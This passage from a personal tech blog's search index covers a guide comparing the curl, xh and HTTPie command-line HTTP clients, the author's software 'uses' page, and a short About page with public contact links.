\u0026#34;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\u0026#34; // new refreshToken (returned in both response and cookies) } Modern HTTP Clients xh - The Modern HTTP Swiss Army Knife 🚀 🔗 https://github.com/ducaale/xh What makes xh special? ✨ 🎯 Developer-Friendly Syntax\nNo more wrestling with complex flags Commands read like plain English Color-coded output that\u0026rsquo;s easy on the eyes 👀 ⚡ Blazingly Fast\nBuilt in Rust for maximum performance 🎪 Features\nJSON highlighting right out of the box Built-in authentication helpers HTTPS, custom headers Here\u0026rsquo;s a quick taste of how friendly it is:\nLet\u0026rsquo;s Post a New Product! 🛍️\nUsing curl (The Classic Way) 🔧 curl -sS -X POST https://fakestoreapi.com/products \\ -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{ \u0026#34;title\u0026#34;: \u0026#34;Raspberry Pi 4\u0026#34;, \u0026#34;price\u0026#34;: 13.5, \u0026#34;description\u0026#34;: \u0026#34;lorem ipsum\u0026#34;, \u0026#34;image\u0026#34;: \u0026#34;https://i.pravatar.cc\u0026#34;, \u0026#34;category\u0026#34;: \u0026#34;electronic\u0026#34; }\u0026#39; | jq Using xh (The Modern Way) ✨ xh POST https://fakestoreapi.com/products \\ title=\u0026#34;Raspberry Pi 4\u0026#34; \\ price:=13.5 \\ description=\u0026#34;lorem ipsum\u0026#34; \\ image=\u0026#34;https://i.pravatar.cc\u0026#34; \\ category=\u0026#34;electronic\u0026#34; What\u0026rsquo;s Different? 👀 Syntax Simplicity 🎯\ncurl: Needs -X POST, -H for headers, -d for data xh: Just POST and your data - that\u0026rsquo;s it! JSON Handling 📦\ncurl: Requires manual JSON formatting and | jq for pretty output xh: Automatically formats JSON and handles content types Type Inference 🧠\ncurl: Everything is a string in JSON xh: Smart type handling (notice := for numbers) Headers 📝\ncurl: Must explicitly set Content-Type xh: Automatically handles common headers Tip With xh, you can even preview your request before sending:\nxh --print=HB POST https://fakestoreapi.com/products \\ title=\u0026#34;Raspberry Pi 4\u0026#34; (H for headers, B for body)\nHTTPie Started as a command-line marvel, it\u0026rsquo;s now evolved into a full-featured suite.\n🔗 https://httpie.io/cli Example http POST https://fakestoreapi.com/products \\ title=\u0026#34;Raspberry Pi 4\u0026#34; \\ price:=13.5 \\ description=\u0026#34;lorem ipsum\u0026#34; \\ image=\u0026#34;https://i.pravatar.cc\u0026#34; \\ category=\u0026#34;electronic\u0026#34; Tip you can try above command using httpie\u0026rsquo;s online terminal.\n🔗 https://httpie.io/cli/run\nInfo Use HTTPie Desktop for visual debugging and team sharing, but keep the CLI handy for quick checks and automation scripts!\nTry web app:- https://httpie.io/app\nFeature Comparison 📊 Feature HTTPie 🌈 xh ⚡ curl 🐎 Syntax Modern \u0026amp; Friendly Modern \u0026amp; Friendly Traditional Speed Fast Very Fast (Rust) Fast JSON Handling Auto Auto Manual (needs jq) Colors Built-in Built-in None Learning Curve Easy Easy Steeper Platform Support Excellent Good Excellent Memory Usage Medium Low Low ","permalink":"https://blog.nimendra.online/blog/api-testing/","summary":"A comprehensive guide to command-line HTTP clients(curl, HTTPie, and xh).","title":"Goodbye Postman?👋 CLI Tools That Will Change Your API Testing Forever"},{"content":"Last Update: 2024-01-25\nIntroduction In this article, I will share my personal technology setup and preferences. Inspired by Eric Murphy\u0026rsquo;s fascinating Article .\nYou can explore my Dotfiles here . It\u0026rsquo;s a repository where I store and share my configuration files for various applications and Bash Scripts. Feel free to check it out! 👀\nMy Desktop With Favorite Applications\nLinux Distribution \u0026amp; Desktop Environment 🐧 Among the various Linux distributions available, my personal choice is Manjaro Linux ! It may have received some criticism from the Linux community, but in my opinion, it\u0026rsquo;s the only distribution that really hits the spot for me.🎯 I\u0026rsquo;ve tried Ubuntu, Pop!_OS, ArcoLinux, Linux Mint, and even ventured into Arch Linux territory, but Manjaro stands out as the perfect fit for my needs and preferences.\n🖥️ When it comes to my desktop environment, I have found my perfect match in KDE ! 🌈✨ With its feature-rich and customizable interface, KDE has become my go-to choice for a visually appealing and efficient desktop experience.\nWeb browsing For my web browser, I use Brave Browser . Here are the browser extensions I rely on: Bitwarden : For managing my passwords securely, I rely on Bitwarden. Dark reader Tabbox Bypass Paywall clean Personal Development Environment (PDE) Curious about what a PDE (Personal Development Environment) is? Check out this informative video youtu.be/QMVIJhC9Veg by TJ DeVries to learn more and discover how it can enhance your coding experience .\nI rely on Neovim as my Personal Development Environment (PDE). Despite Vim\u0026rsquo;s notorious steep learning curve, I firmly believe that the journey is worth the ultimate rewards.\nI also use VSCode for web development, and I\u0026rsquo;ve configured it with VSCode Neovim .\nTerminal \u0026amp; Tools My go-to setup for the terminal includes Alacritty as the emulator, Zsh as my shell, and Tmux as a terminal multiplexer.\nI really like using the terminal file manager lf because it\u0026rsquo;s super fast, highly customizable, and even supports image previews with a custom script. And when I need to manage files with a graphical interface, I turn to Dolphin .\nTo keep all my favorite web apps in check, I use Ferdium . It helps me organize and manage Web apps like Whatsapp, Discord, Notion, and more. Super handy!\nMedia Player and Configuration I rely on MPV as my go-to media player with some custom configurations.\nThese are some scripts used with MPV:\nkde-night-color.so: Turn off Night Color when using MPV. thumbfast.lua: High-performance on-the-fly thumbnailer. modernx.lua: Modern OSC UI replacement. playlistmanager.lua: Playlist Manager. You can find my MPV Config here .\nI\u0026rsquo;ve set up an alias that allows me to enjoy YouTube without interruptions using the following command:\nytmusic=\u0026#34;mpv --vo=null --video=no --pause=no --no-video --term-osd-bar --loop-playlist=inf \u0026#34; Theme, Font, and Color Scheme I embrace the Catppuccin color scheme for all my applications, including this website (Mocha for dark mode, Latte for light mode). When it comes to my terminal font, I opt for JetBrains Mono , specifically the Nerd Font version, for a pleasant coding experience. 🎨🖥️✨\nThis Website This site is built with Hugo , a static site generator that outputs clean HTML and CSS, avoiding the bloat commonly found in modern web development. This website utilizes the PaperMod Theme with some customizations. ","permalink":"https://blog.nimendra.online/uses/","summary":"\u003cp\u003e\u003ccode\u003eLast Update: 2024-01-25\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eIn this article, I will share my personal technology setup and preferences. Inspired by \u003ca href=\"https://ericmurphy.xyz/uses/\" target=\"_blank\" rel=\"noopener\"\u003eEric Murphy\u0026rsquo;s fascinating Article\u003c/a\u003e\n.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eYou can explore my \u003ca href=\"https://github.com/nmdra/Dotfiles\" target=\"_blank\" rel=\"noopener\"\u003eDotfiles here\u003c/a\u003e\n\u003c/strong\u003e. It\u0026rsquo;s a repository where I store and share my configuration files for various applications and \u003cem\u003eBash Scripts\u003c/em\u003e. Feel free to check it out! 👀\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cfigure class=\"align-center \"\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/desktop.webp#center\"\n         alt=\"My Desktop Preview\" width=\"100%\" height=\"auto\"/\u003e \u003cfigcaption\u003e\n            \u003cp\u003eMy Desktop With Favorite Applications\u003c/p\u003e\n        \u003c/figcaption\u003e\n\u003c/figure\u003e\n\n\u003ch2 id=\"linux-distribution--desktop-environment\"\u003eLinux Distribution \u0026amp; Desktop Environment\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e🐧 Among the various Linux distributions available, my personal choice is \u003cstrong\u003e\u003ca href=\"https://manjaro.org\" target=\"_blank\" rel=\"noopener\"\u003eManjaro Linux\u003c/a\u003e\n!\u003c/strong\u003e It may have received some criticism from the Linux community, but in my opinion, it\u0026rsquo;s the only distribution that really hits the spot for me.🎯 I\u0026rsquo;ve tried Ubuntu, Pop!_OS, ArcoLinux, Linux Mint, and even ventured into Arch Linux territory, but Manjaro stands out as the perfect fit for my needs and preferences.\u003c/p\u003e","title":"Uses"},{"content":"About Me 👋 Hey, I’m Nimendra. 🎓 I’m currently studying Software Engineering at the Sri Lanka Institute of Information Technology (SLIIT) . 💼 Former Site Reliability Engineering (SRE) Intern at WSO2 . 💻 I’m interested in Software Engineering, Platform Engineering, AI Integrations, Linux, Open Source, and Philosophy. 📚 Outside of tech, I spend my time reading sci-fi, self-help books, and manga. Now Last update: 2026-03-19\nwhat is this I\u0026rsquo;m currently learning AWS, Kubernetes (K8s), Go (Golang), Distributed Systems, and System Design. Also exploring some ML concepts on the side. Now i\u0026rsquo;m reading, (goodreads.com/nimendra ) The Will of Many Sapiens Contact Me 🐦 Twitter: @nimendra_ 👨🏻‍💼 LinkedIn: in/nimendra 📫 Gmail: nimendraonline@gmail.com ","permalink":"https://blog.nimendra.online/about/","summary":"\u003ch1 id=\"about-me\"\u003eAbout Me\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e👋 Hey, I’m \u003cstrong\u003eNimendra\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003e🎓 I’m currently studying \u003cstrong\u003eSoftware Engineering\u003c/strong\u003e at the \u003ca href=\"https://www.sliit.lk/\" target=\"_blank\" rel=\"noopener\"\u003eSri Lanka Institute of Information Technology (SLIIT)\u003c/a\u003e\n.\u003c/li\u003e\n\u003cli\u003e💼 Former \u003cstrong\u003eSite Reliability Engineering (SRE) Intern at \u003ca href=\"https://wso2.com/\" target=\"_blank\" rel=\"noopener\"\u003eWSO2\u003c/a\u003e\n\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003e💻 I’m interested in \u003cstrong\u003eSoftware Engineering, Platform Engineering, AI Integrations, Linux, Open Source, and Philosophy\u003c/strong\u003e.\u003c/li\u003e\n\u003cli\u003e📚 Outside of tech, I spend my time reading \u003cstrong\u003esci-fi, self-help books, and manga\u003c/strong\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch1 id=\"now\"\u003eNow\u003c/h1\u003e\n\u003cp\u003e\u003ccode\u003eLast update: 2026-03-19\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cem\u003e\u003ca href=\"https://nownownow.com/about\" target=\"_blank\" rel=\"noopener\"\u003ewhat is this\u003c/a\u003e\n\u003c/em\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eI\u0026rsquo;m currently learning AWS, Kubernetes (K8s), Go (Golang), Distributed Systems, and System Design. Also exploring some ML concepts on the side.\u003c/li\u003e\n\u003cli\u003eNow i\u0026rsquo;m reading, (\u003ca href=\"https://www.goodreads.com/nimendra\" target=\"_blank\" rel=\"noopener\"\u003egoodreads.com/nimendra\u003c/a\u003e\n)\n\u003cul\u003e\n\u003cli\u003eThe Will of Many\u003c/li\u003e\n\u003cli\u003eSapiens\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch1 id=\"contact-me\"\u003eContact Me\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e🐦 Twitter: \u003cstrong\u003e\u003ca href=\"https://x.com/nimendra_\" target=\"_blank\" rel=\"noopener\"\u003e@nimendra_\u003c/a\u003e\n\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e👨🏻‍💼 LinkedIn: \u003cstrong\u003e\u003ca href=\"https://www.linkedin.com/in/nimendra/\" target=\"_blank\" rel=\"noopener\"\u003ein/nimendra\u003c/a\u003e\n\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e📫 Gmail: \u003cstrong\u003e\u003ca href=\"mailto://nimendraonline@gmail.com\"\u003enimendraonline@gmail.com\u003c/a\u003e\n\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e","title":"About"}]